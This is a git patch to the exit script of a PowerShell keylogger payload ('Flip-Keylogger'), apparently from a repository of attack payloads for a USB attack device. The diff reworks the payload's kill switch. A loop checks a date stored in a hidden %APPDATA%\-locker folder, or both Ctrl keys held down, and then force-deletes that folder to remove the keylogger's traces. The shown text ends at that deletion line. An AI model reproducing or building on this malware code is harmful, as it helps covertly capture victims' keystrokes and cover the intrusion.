From e11a06b61efacc0416595c6991b4ca02df78b9e7 Mon Sep 17 00:00:00 2001 From: I-Am-Jakoby Date: Sun, 25 Dec 2022 23:39:08 -0600 Subject: [PATCH] Update exit.ps1 --- Payloads/Flip-Keylogger/exit.ps1 | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Payloads/Flip-Keylogger/exit.ps1 b/Payloads/Flip-Keylogger/exit.ps1 index 5e90554..aabe9e9 100644 --- a/Payloads/Flip-Keylogger/exit.ps1 +++ b/Payloads/Flip-Keylogger/exit.ps1 @@ -1,11 +1,12 @@ Add-Type -AssemblyName WindowsBase Add-Type -AssemblyName PresentationCore -$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl') -$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl') + Add-Type -AssemblyName PresentationCore,PresentationFramework while($true){ +$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl') +$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl') if(((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")) -or ($Rctrl -and $Lctrl)){ sleep 10 Remove-Item "$env:appdata\-locker" -Recurse -Force;